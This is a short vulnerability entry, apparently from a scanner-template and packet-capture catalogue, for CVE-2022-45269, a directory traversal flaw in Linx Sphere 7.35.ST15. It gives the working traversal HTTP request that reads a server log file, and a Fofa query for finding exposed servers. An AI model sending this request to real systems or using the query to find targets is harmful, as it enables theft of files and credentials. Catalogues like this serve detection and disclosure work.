| Title | Linx Sphere - Directory Traversal |
|---|---|
| Author | robotshell |
| Severity | High |
| Impact | Unauthenticated attackers can exploit path traversal to read arbitrary files from the server, potentially accessing sensitive configuration files, credentials, and application source code. |
| Remediation | Update Linx Sphere to a version newer than 7.35.ST15 that properly validates file paths and prevents directory traversal attacks. |
| CVSS Score | 7.5 |
| EPSS Score | 0.27373 |
| CVE ID | CVE-2022-45269 |
| CWE ID | CWE-22 |
| Fofa Query | SCS.Web.Server.SPI/1.0 |
| Tags | cve cve2022 linx lfi scs vuln |
A directory traversal vulnerability in the component SCS.Web.Server.SPI/1.0 of Linx Sphere LINX 7.35.ST15 allows attackers to read arbitrary files.
GET /../../../../../../../../../../../../windows/iis.log HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/537.16 (KHTML, like Gecko) Version/8.0 Safari/537.16
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-45269.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-45269.pcap
N/AN/A